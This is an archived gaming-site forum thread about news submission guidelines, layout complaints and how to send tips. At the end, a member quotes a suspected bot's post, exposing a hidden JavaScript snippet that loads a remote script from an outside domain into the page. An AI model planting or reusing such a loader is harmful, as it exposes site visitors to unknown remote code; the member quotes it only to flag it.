Colony of Gamers News Submission Guidelines

[DoctorFinger]

We here at Colony of Gamers encourage our readers and community members to submit news stories they feel are interesting and informative. However we strive to maintain a high level of professionalism, and therefore we ask anyone submitting news to read and adhere to the following guidelines.


All news must be properly sourced and referenced. Every effort must be made to track a story back to it's origin, while at the same time giving credit to that originator and any referrers along the way. Whenever possible link directly to the story itself and not to the front page of the site on which it appears or to news aggregators like Digg, Reddit or GameTab.
The body of the news post must - except under specially defined circumstances - be larger than the sum total of any included block quotes. A 200 word blockquote cannot be accompanied by just a 20 word introduction. Take the time to write the story itself, giving it your own unique perspective and personality. We aim to be more than just a simple news regurgitator.
Make sure the news post itself contains all of the relevant information. Key information given in the title should also be incorporated into the body of the post. Abbreviations and acronyms that are not in everyday use should be spelled out at least once in the body of the post.
Observation of and adherence to Fair Use standards. No one may directly quote more than 25% of another story unless otherwise permitted by the owner of that content. This applies to both news posts and forum posts. If you want your fellow Colonists to read something, then direct them to the source material; don't just cut & paste the whole thing into your post. One obvious exception to pertains to press releases, which in most cases can be reproduced as warranted.
Images in news posts must be hosted in the proper manner. No unauthorized hotlinking.
Images on the front page must conform to certain standards. No images over 500px in any dimension. No more than one image in any news post. No animated gifs. No overly objectionable material.
Don't leave naked URLs. Make sure each link is properly wrapped around an appropriate word or phrase.
While we want newsposts to be fun and interesting as well as informative, we still want to play things down the middle. No grossly inflammatory language or obscenities. Major editorializing should be kept out of the news posts themselves. Quotes may not be bowdlerized in an attempt to twist the meaning or intent of the subject. Please check the spelling and grammar of your posts.
Titles and subject lines should be kept short and informative, while using proper formatting. All words, other than conjunctions, should be capitalized in titles. No emoticons or special formatting (italics, bold, colors) are permitted in titles.
Try to avoid 'announcements about announcements'. A company revealing a new game or franchise is news; that same company proclaiming when they're going to make an announcement generally is not.
Proprietors or functionaries of other news websites may submit their articles here so long as: A) they make it clear that they are promoting their own work; no 'astroturfing'; B) they limit themselves to one news post per day and C) adhere to all other news posting guidelines.
News articles must be gaming specific or at least gaming related. Stories that have no connection to gaming will only be accepted under extraordinary circumstances.
Try to add 'tags' to your news posts. When possible, use existing tags so searches can be run more efficiently.
You must turn your signature off when submitting news. Look under the editor field, and make sure the box that reads "Show your signature" is unchecked. it should look like this when you submit

http://www.colonyofgamers.com/cogforums/picture.php?albumid=1&pictureid=4
For a look at what a normal news post should look like, click here (http://www.colonyofgamers.com/cogforums/showpost.php?p=17324&postcount=33).

[pheriannath]

I would also like to remind everyone to be sure to add tags to every news post. It'll help people who don't have a specific search term in mind to find content that's been knocked back a few pages.

[Purple Santa]

Is there anyway to create a mock/dummy page what news would look like before the post button? Like a "post news for dummies" guide. I'd love to post news...well submit anyway...just at times i'm computer illiterate...ok, that's basically all the time...but maybe i'm not the only one wanting something like this?

[DoctorFinger]

We are not, at the moment, taking news submissions from the community. But if you find something newsworthy, follow these guidelines and post it to the forums, and we can move it to news if warranted.

[bean]

We are not, at the moment, taking news submissions from the community. But if you find something newsworthy, follow these guidelines and post it to the forums, and we can move it to news if warranted.
Is this a website limitation or a policy?

[Food Nipple]

Is this a website limitation or a policy?

The site is still being being developed on a daily basis, I'm pretty sure the mechanisms just aren't in place for news submissions yet. Dr. Finger wouldn't have gone to the trouble of typing all that out if they weren't planning on taking news submissions.

[pheriannath]

Basically, we don't want people to submit a press release and add one line of text to the bottom and call it "content". The goal of this site is to have some actual editorial with each bit of news.

It's up to the newsies how they want to take submissions, and the good Doctor isn't ready to open the floodgates.

[bean]

Basically, we don't want people to submit a press release and add one line of text to the bottom and call it "content". The goal of this site is to have some actual editorial with each bit of news.

It's up to the newsies how they want to take submissions, and the good Doctor isn't ready to open the floodgates.

Art director? Well why isn't the site liquid format? I don't like the amount of white (too jarring), but what makes it worse is that 50% of my screen is black due to the old school block formatting, and I'm not sure why you are doing it. It should only take about 5 minutes in the CSS to make it liquid.

I'd go even further and fully embrace the space theme by using the rich purples and blues found in the banner up top. Maybe use the light blue for actual text fields.

The coloring is all you guys, of course. Not my site and I'm putting no effort into it, but using block formatting is just so old school, and it's beyond amateur. I'm an amateur and even a newbie could read up on how to format webpages for thirty minutes and use modern formatting.

Maybe it is all placeholder and you want to show the site editors how you plan to have room for X and Y ads? That's a bit more difficult to do and still have the site be liquid (especially if you are holding empty space in ad spots instead of actual ads), but I could do that in an hour (including research time and testing) too. Just a Jell-O format really. . .

[Whunpo]

Do you want opinions in the news posts? Suppose new screens were released for a game. While writing up the post, do we want to avoid saying things like "The screens look like garbage"?

[n3rdXcore]

Do you want opinions in the news posts? Suppose new screens were released for a game. While writing up the post, do we want to avoid saying things like "The screens look like garbage"?

Meh, keep them out of the news posts in my opinion. There's room for that stuff in the thread behind the news post.

[pheriannath]

Wall of text

Here's a little tip, next time you start requesting features, calling the designer "amateur" is not what you want to do.

vBulletin, by default, is a liquid design. If I remove the containing div it'll stretch all over the place and make you happy. However, since I happen to like everything being contained to a nice 960-1000 pixel-wide container, I won't be changing this.

And yeah, this is the default coloring for vB. It's changing. Please learn to deal with it.

[Jackel]

Art director? Well why isn't the site liquid format? I don't like the amount of white (too jarring), but what makes it worse is that 50% of my screen is black due to the old school block formatting, and I'm not sure why you are doing it. It should only take about 5 minutes in the CSS to make it liquid.

I'd go even further and fully embrace the space theme by using the rich purples and blues found in the banner up top. Maybe use the light blue for actual text fields.

The coloring is all you guys, of course. Not my site and I'm putting no effort into it, but using block formatting is just so old school, and it's beyond amateur. I'm an amateur and even a newbie could read up on how to format webpages for thirty minutes and use modern formatting.

Maybe it is all placeholder and you want to show the site editors how you plan to have room for X and Y ads? That's a bit more difficult to do and still have the site be liquid (especially if you are holding empty space in ad spots instead of actual ads), but I could do that in an hour (including research time and testing) too. Just a Jell-O format really. . .

So spend an hour, make something...with the amount of features we have here....and lets see it?

Timer starts:
....Now.

[fitbabits]

Art director? Well why isn't the site liquid format? I don't like the amount of white (too jarring), but what makes it worse is that 50% of my screen is black due to the old school block formatting, and I'm not sure why you are doing it. It should only take about 5 minutes in the CSS to make it liquid.

I'd go even further and fully embrace the space theme by using the rich purples and blues found in the banner up top. Maybe use the light blue for actual text fields.

The coloring is all you guys, of course. Not my site and I'm putting no effort into it, but using block formatting is just so old school, and it's beyond amateur. I'm an amateur and even a newbie could read up on how to format webpages for thirty minutes and use modern formatting.

Maybe it is all placeholder and you want to show the site editors how you plan to have room for X and Y ads? That's a bit more difficult to do and still have the site be liquid (especially if you are holding empty space in ad spots instead of actual ads), but I could do that in an hour (including research time and testing) too. Just a Jell-O format really. . .
Your post can be summarized thusly:

"I BROWSE FULL SCREEN ON A 1920 x 1200 PIXEL MONITOR! I NEED YOU TO COMPENSATE FOR ME! BY THE WAY YOU ARE AMATEUR!"

Look, we appreciate constructive criticism, but you need to appreciate a few things:


We're less than one week old, and still very much tinkering with the site layout and design.
"Block formatting" is used all over the place, not just here. So you browse at some ludicrous resolution? Most people don't.

[DangerousDaze]

I've submitted a few news posts on other sites in the past and the one thing that constantly runs through my mind while I'm writing them is "QUICKQUICKQUICK Someone else must have noticed this by now and they're going to beat me to the punch!" Sad, I know, but true. I'd written a few, to my mind, thoughtful submissions only to see "Lookit!" submissions appear half way through writing.

The net result can be quickly written posts which do little more than draw the readership's attention to happenings elsewhere.

But how do you fix that? It's inevitable that unless there's something particularly wrong with it the first submission will be published (how can you predict that other submissions will come along, and how long do you wait before giving your audience the impression that you're not "on the ball"?)

Basically, how can you ensure that the good intentions set out in the rules above will actually come about in practice?

[fitbabits]

I've submitted a few news posts on other sites in the past and the one thing that constantly runs through my mind while I'm writing them is "QUICKQUICKQUICK Someone else must have noticed this by now and they're going to beat me to the punch!" Sad, I know, but true. I'd written a few, to my mind, thoughtful submissions only to see "Lookit!" submissions appear half way through writing.

The net result can be quickly written posts which do little more than draw the readership's attention to happenings elsewhere.

But how do you fix that? It's inevitable that unless there's something particularly wrong with it the first submission will be published (how can you predict that other submissions will come along, and how long do you wait before giving your audience the impression that you're not "on the ball"?)

Basically, how can you ensure that the good intentions set out in the rules above will actually come about in practice?

I think what we will be striving for is quality over quantity. We all know what happens when people jump the gun on reporting rumors or hearsay... Rather than have a front page with 20 or so standardized press releases, etc., we will be editorializing the more interesting ones ourselves and posting those.

[Iron Past]

Basically, how can you ensure that the good intentions set out in the rules above will actually come about in practice?

I personally would like to have "applications" or something to that effect for a group of news contributers.

Edit: Or what he said ^

[DangerousDaze]

I think what we will be striving for is quality over quantity.
That was never a doubt in my mind. ;) Don't forget to let us all know when you'll be accepting news submissions from the community!

[fitbabits]

That was never a doubt in my mind. ;) Don't forget to let us all know when you'll be accepting news submissions from the community!

Of course we will.

As has been stated previously, we want you guys to feel invested in CoG (and the Network as a whole) - an extension of that is community-submitted content, be it through news submissions or something else (of which there will be more later).

[bean]

1. Block-formatting is a design "don't" exactly because it does not work with the various resolutions that different people use. That's why most sites use a liquid or Jell-O format. Block-formatting is usually found on amateur sites which is why it is referred to as amateur. It can be useful to use exact positioning sometimes, but block-formatting is usually just laziness or over-reliance on design programs. Obviously, from his reply, he chose to change a default liquid layout to a fixed layout. . . which makes me think that this must be placeholder (like I originally suggested).

2. My point was not that this webdesigner is an amateur, but that this is a very easy thing to fix. Thus, he was either choosing not to do so, or is an amateur. He has said that this is a choice because he wants to constrain the site's content. I assume this is to leave space for ads to either side of the content rather than some crazy prejudice against people with resolutions larger or smaller than his own, but the fix to this is to create a Jell-O format.

Here is a very user-friendly site (http://uwmike.com/articles/2005/05/04/jello-liquid-layout/) that explains different kinds of layouts and gives examples on how to do them.

[fitbabits]

1. Block-formatting is a design "don't" exactly because it does not work with the various resolutions that different people use. That's why most sites use a liquid or Jell-O format. Block-formatting is usually found on amateur sites which is why it is referred to as amateur. It can be useful to use exact positioning sometimes, but block-formatting is usually just laziness or over-reliance on design programs. Obviously, from his reply, he chose to change a default liquid layout to a fixed layout. . . which makes me think that this must be placeholder (like I originally suggested).

2. My point was not that this webdesigner is an amateur, but that this is a very easy thing to fix. Thus, he was either choosing not to do so, or is an amateur. He has said that this is a choice because he wants to constrain the site's content. I assume this is to leave space for ads to either side of the content rather than some crazy prejudice against people with resolutions larger or smaller than his own, but the fix to this is to create a Jell-O format.

Here is a very user-friendly site (http://uwmike.com/articles/2005/05/04/jello-liquid-layout/) that explains different kinds of layouts and gives examples on how to do them.
How can you have the following sentences, "My point was not that this webdesigner is an amateur, but that this is a very easy thing to fix. Thus, he was either choosing not to do so, or is an amateur," yet say you weren't suggesting Mike is an amateur?

Also, being patronizing is not a good way to endear yourself to anyone.

Mike KNOWS how to do website design, more so than you give him credit for. (And don't say that CoG is an example of how NOT to design a website...)

I kinda get where you're coming from, but you're approaching this the wrong way. You need to lay off the superior attitude.

[pheriannath]

Hmm, let's see. I have less than a week to get a site up and running. I have a day job AND I run more than one website. I have the restriction of working with vBulletin, which uses an archaic table-based design to function.

Do I:

1. Recode the whole of vB to use CSS in a scaleable fashion, causing the entire administrative function to break (this bitch NEEDS its tables in order to style it).

2. Let it just scale, so we look EXACTLY LIKE EvAv, which, colors aside, was a completely default vB installation with a logo slapped on it.

3. Contain the site, and admit freely, in many other posts that the template is simply a quick job of making some simple adjustments to the default template and that the "real" site design was coming soon.

4. Listen to assholes bitch on the internet when we provide them something relatively nice for free.

There's one correct answer, I'm certain any amateur will be able to spot it.

[Spectre-7]

There's one correct answer, I'm certain any amateur will be able to spot it.

Sir, you just made me smile. Cheers, and keep up the good work! :)

[fitbabits]

Hmm, let's see. I have less than a week to get a site up and running. I have a day job AND I run more than one website. I have the restriction of working with vBulletin, which uses an archaic table-based design to function.

Do I:

1. Recode the whole of vB to use CSS in a scaleable fashion, causing the entire administrative function to break (this bitch NEEDS its tables in order to style it).

2. Let it just scale, so we look EXACTLY LIKE EvAv, which, colors aside, was a completely default vB installation with a logo slapped on it.

3. Contain the site, and admit freely, in many other posts that the template is simply a quick job of making some simple adjustments to the default template and that the "real" site design was coming soon.

4. Listen to assholes bitch on the internet when we provide them something relatively nice for free.

There's one correct answer, I'm certain any amateur will be able to spot it.
Hmm... I'm going with option one. Make it so, Mike. I mean, it's not like you have other things to take care of in your life.

[Raen]

There's one correct answer, I'm certain any amateur will be able to spot it.

This is possibly the most amusing post I've seen on CoG so far. Congrats :D

[Rogue_hunter]

Hmm, let's see. I have less than a week to get a site up and running. I have a day job AND I run more than one website. I have the restriction of working with vBulletin, which uses an archaic table-based design to function.

Do I:

1. Recode the whole of vB to use CSS in a scaleable fashion, causing the entire administrative function to break (this bitch NEEDS its tables in order to style it).

2. Let it just scale, so we look EXACTLY LIKE EvAv, which, colors aside, was a completely default vB installation with a logo slapped on it.

3. Contain the site, and admit freely, in many other posts that the template is simply a quick job of making some simple adjustments to the default template and that the "real" site design was coming soon.

4. Listen to assholes bitch on the internet when we provide them something relatively nice for free.

There's one correct answer, I'm certain any amateur will be able to spot it.

Clearly the correct answer is option 2 because everyone know that we are trolls and drama queens that loved the old site just the way it was.

Also, your ideas intrigue me and I would like to subscribe to your newsletter.

[Thrak]

And anyway, isn't the point of this thread regarding news submissions? How exactly did bean derail it into critiquing a good looking site?

[fitbabits]

And anyway, isn't the point of this thread regarding news submissions? How exactly did bean derail it into critiquing a good looking site?
I'll defer to rein on that one.

[LiquidRain]

There's one correct answer, I'm certain any amateur will be able to spot it.
This line deserves an Arsenio Hall style "whoop whoop whoop."

btw: http://www.colonyofgamers.com/cogforums/showthread.php?t=210

[bean]

3. Contain the site, and admit freely, in many other posts that the template is simply a quick job of making some simple adjustments to the default template and that the "real" site design was coming soon.

4. Listen to assholes bitch on the internet when we provide them something relatively nice for free.

There's one correct answer, I'm certain any amateur will be able to spot it.
Actually there appear to be two, and a simple explanation that you've been too busy to layout the site instead of the panty-bunched drama would have saved your pillow ever so many tears.

Look. I realize I should be more constructive in my criticism by avoiding loaded language like "amateur", but you both could have replied more maturely too. Tantrums are not the way to respond to criticism that isn't given in a constructive manner.

I'll work on not kicking the dog to get him to stop pissing on the floor, but hopefully you guys will work on not chopping off someone's head for saying your prize-winning daisies are wilted.

[Jackel]

Hmm, let's see. I have less than a week to get a site up and running. I have a day job AND I run more than one website. I have the restriction of working with vBulletin, which uses an archaic table-based design to function.

Do I:

1. Recode the whole of vB to use CSS in a scaleable fashion, causing the entire administrative function to break (this bitch NEEDS its tables in order to style it).

2. Let it just scale, so we look EXACTLY LIKE EvAv, which, colors aside, was a completely default vB installation with a logo slapped on it.

3. Contain the site, and admit freely, in many other posts that the template is simply a quick job of making some simple adjustments to the default template and that the "real" site design was coming soon.

4. Listen to assholes bitch on the internet when we provide them something relatively nice for free.

There's one correct answer, I'm certain any amateur will be able to spot it.

Game. Set. & Match

[bean]

And anyway, isn't the point of this thread regarding news submissions? How exactly did bean derail it into critiquing a good looking site?

You're right. Feel free to clean up the thread as much as you want editors. I have already apologized for not being constructive in my criticism and using loaded language that obviously offends people. I would delete the posts myself if it wouldn't make the thread incoherent due to JAyoung and pheriannath replies.

[bean]

How can you have the following sentences, "My point was not that this webdesigner is an amateur, but that this is a very easy thing to fix. Thus, he was either choosing not to do so, or is an amateur," yet say you weren't suggesting Mike is an amateur?

I gave two options. . . amateur or chose not to do so. He says that he chose not to do so. So the original condition for my calling him an amateur was never met.

[DoctorFinger]

This is a model of what a proper news post should look like.

Title With All Non-Prepositions in Caps; Gives Vital Info, But Kept Short

This is the body of the newspost. Please follow rules of grammar, spelling and decorum. I generally follow a pattern of header image, introduction, explanation of the news, quote, analysis, source credit. The format or style you use is your choice, but there are a few guide lines you have to follow. The news post has to be larger than any blockquotes. If you don't want to write a post, then just drop me a PM with the link and quote and I'll run with it.This is the quotation. You can't quote too much of any story, so if you do use a quote make sure you include the vital info.
--
If you have to break up a single quote from the same source, use the dash-ellipsis as shown above rather than two blockquotes. Also, don't use nested blockquotes, they look bad on the frontpageYou may, if you want, choose to do some analysis on the story, but keep it fair. Don't tell us how such and such company/person/platform sucks, tell us why their choice or decision was unwise. Remember analysis and opinion are two different things.

In this instance I wrote a story that originated on CoG, but I found via Co-Optimus. Therefore the originator of the story goes first, with any referrers (don't link news aggregators or similar sites) following.

Source - Colony of Gamers (http://www.colonyofgamers.com/cogforums/showpost.php?p=63&postcount=1); Co-Optimus (http://www.co-optimus.com/index.php)

[Iron Past]

Model News Post

Are we still doing the thing where we post in General Gaming and see if it gets picked up for now?

[fitbabits]

Are we still doing the thing where we post in General Gaming and see if it gets picked up for now?

For the moment, yes. We're close to opening the floodgates, but we're not quite there yet.

You may also consider shooting a PM to someone so that any submissions don't get lost in the shuffle.

[Haemorrhage]

For user submission, keeping with the professionalism of the site, will you prefer "real" first and last names for the authors of the articles. Or will it continue to be optional for now.

[Food Nipple]

I have a suggestion for an addition to the guidelines. No images wider than 640 px. I think the front page will automatically resize large images, but it looks a lot nicer without the resize bar at the top.

[DoctorFinger]

I have a suggestion for an addition to the guidelines. No images wider than 640 px. I think the front page will automatically resize large images, but it looks a lot nicer without the resize bar at the top.Actually if you read the guidelines, the limit is already 550px wide.

[Variable Gear]

Is hyperbole (http://www.colonyofgamers.com/cogforums/showthread.php?t=1683) a mandatory feature of news posts on CoG?

[Purple Santa]

Is hyperbole (http://www.colonyofgamers.com/cogforums/showthread.php?t=1683) a mandatory feature of news posts on CoG?

Hyperbole = catchy headline? ;)

[Variable Gear]

Hyperbole = catchy headline? ;)
More like incorrect headline. Try to leave the FUD to EvAv, CoG Editors. :rolleyes:

[Purple Santa]

More like incorrect headline. Try to leave the FUD to EvAv, CoG Editors. :rolleyes:

I promise to leave all catchy headlines to the editors of CoG. :cool:

[Dukefrukem]

I can't post news.

Dukefrukem, you do not have permission to access this page.

[DoctorFinger]

Either send a tip to the email account, or write the post according to the rules in the forum and PM me about it.

[Dukefrukem]

Either send a tip to the email account, or write the post according to the rules in the forum and PM me about it.

What do you mean by send a "tip" to the e-mail account?

[Iron Past]

Curious, is the tip link taking the place of submitting news, or will we be able to do our own write-ups and submit those in the future?

[MachEnergy]

There's a few unanswered questions here before mine, but I am also curious as to the news submission email we are supposed to send a tip to. I've crawled all over the site and cannot find it. What is it, and where is it listed so I can see it with my own eyes and realize how poor my search skills are.

[axion]

There's a few unanswered questions here before mine, but I am also curious as to the news submission email we are supposed to send a tip to. I've crawled all over the site and cannot find it. What is it, and where is it listed so I can see it with my own eyes and realize how poor my search skills are.

Front page, right hand side under Site Navigation area is the Network and tips area. Send us a tip is inside that box.

http://img22.imageshack.us/img22/6660/tips.jpg (http://img22.imageshack.us/my.php?image=tips.jpg)

[MachEnergy]

Nice. Thanks! A custom graphic and everything! :)

[J Arcane]

Something's sort of bothered me, from time to time, and it's happened again recently, and it's been suggested I bring it up here. For the sake of time saving I'll post the convo I had just now about what I'm on about:

J_Arcane> You know something I miss about Evil Avatar? ACtual user posted stories.
<Bacalou> I'm sitting here trying to think what I miss about Retarded Giant...
<Bacalou> ...
<Bacalou> ...got nothin
<J_Arcane> I just don't like the news policy on CoG sometimese.
<J_Arcane> Especially when I see things like an original thread getting locked and ignored in favor of one from one of our precious editors.
<J_Arcane> Wouldn't it be more efficient to just let the original guy's thread survive and move it?
<Bacalou> Got a recent example?
<J_Arcane> The Warcraft movie news.
<J_Arcane> The handling of that makes no sense to me.
<Bacalou> Its just in accordance with the news policy on CoG
<J_Arcane> I know, and I'm not blaming you, I'm just saying I don't like the policy.
<Bacalou> For that you may want to voice your opinion in the CoG news submission thread

I think the removal of the news posting from user hands, to me, gives less of a feeling of direct community involvement in the process, and that sense is even more damaged by instances like I mentioned, where a users thread that scooped the editors gets locked in favor of an editor's thread.

I realize some of you guys are trying to make this site all serious and shit or something, but the user-posted news was one of the things that gave the former site the dynamic that drew us all there in the first place, and I think we're really missing out on something by losing it in favor of just being yet another news site.

We've got a cadre of users that are known for being ahead of the curve on news, and in fact, it's seemed an awful lot lately like the non-news forums are more up to date than the news is, and it seems like that's sort of silly and inefficient for a news site.

To take the Warcraft example, Sandman posted his story last night before I went to bed, just as the news was disseminating through out other channels. The official thread doesn't go up until the next morning, and then the original thread gets locked. Wouldn't it have made more sense to just newsify his post a bit and bring it to the front page? Shit half the scoops I see in the other forums are even in the standard news post form.

It just doesn't make a lot of sense to me to keep doing things like this, when we could be a lot more on the ball and a lot more community invested.

[AgtFox]

Um, there is the ability for a user to submit news (http://www.colonyofgamers.com/cogforums/newthread.php?do=newthread&f=3). It's right on the front page in the "Network and Tips" box. There is a link for submitting news. It is basically the same situation as at the old place. You send it in and then we edit/approve it as needed. Basically this replaces the old "Tips" thing talked about in this thread.

We added this BECAUSE we wanted more community driven news because most of us (if not all) have full-time jobs during the day. We did ask though that if you plan on submitting news to put in your name in your profile if at all possible (there is a first and last name field in the UserCP) so that it comes up First "nickname" Last at the top of the post.

We announced this a while ago, but the announcement seems to have been passed over by many (http://www.colonyofgamers.com/cogforums/showthread.php?t=7170&highlight=colony+gamers+news).

I didn't read your whole message, so excuse me if you brought up that the ability is here already.

If you have a suggestion as to where better promote that the ability is there, we'd be open to it. But it was announced on April 2nd it looks like in the Lounge because we figured it would hit the most people.

[AgtFox]

As for the Warcraft thing...I experienced this problem when the PSP Go was actually announced. There were two threads going on, one by Adam Blue that pre-dated the news thread another user made (who submitted it via the link I talk about above on the front page). I tested merging the threads, but the problem is that vBulletin lines it up by timestamp and given that Adam Blue's rumor thread pre-dated the story I had to do a little switcharound of the two posts.

I think the same thing would have happened in the Warcraft director thing. I know I check the Song, Page, Screen forum a lot, but maybe many of the other editors do not. Sandman could have submitted it as news, but as I said maybe he didn't know the option was there. Also, if we would have just pulled it fron Song, Page Screen and into the News section it would have been below the ones whose threads started after that.

Just trying to explain things a little more. We are a bit hamstrung by vBulletin's timestamp situation when trying to merge threads or trying to move them into the news section only to see them halfway down the page.

[AgtFox]

I've changed the name of the right side box on the front page from "Network and Tips" to "Feed and News Submission". Hopefully that will make it stand out more. As you can see, Suave Peanut just submitted news and I approved it.

It had the source links in there and all.

[MMORGHuntress]

That woulld probably Cool FTW!!

[Jboy001]

lol... I love bots

[Food Nipple]

lol... I love bots

I'm not so sure, it could be a person that failed the turing test.

[civil]

Hmm. I don't know if that person was a bot as this (http://www.colonyofgamers.com/cogforums/showpost.php?p=361644&postcount=30) post seemed related to the content of the thread.

[Jboy001]

perhaps we should have given it another test...

http://i30.tinypic.com/2njwp5g.png

[HenrySoren]

I'm not so sure, it could be a person that failed the turing test.
Or a bot pretending to fail the turing test...

[Food Nipple]

Or a bot pretending to fail the turing test...
script language='JavaScript' type='text/javascript'>document.write ("<" + "script language='JavaScript' type='text/javascript' src='http://secureupdatetracking.com/xux/output/index/Ur5HMXLyMVIgg6uA1km1ceh8Ilg7r4bm?rand=" + Math.random() * 100000000 +"'></"+"script>")</script

What is the deal with all the hidden javascript in 3 of this guy's four posts? It doesn't display unless you quote him.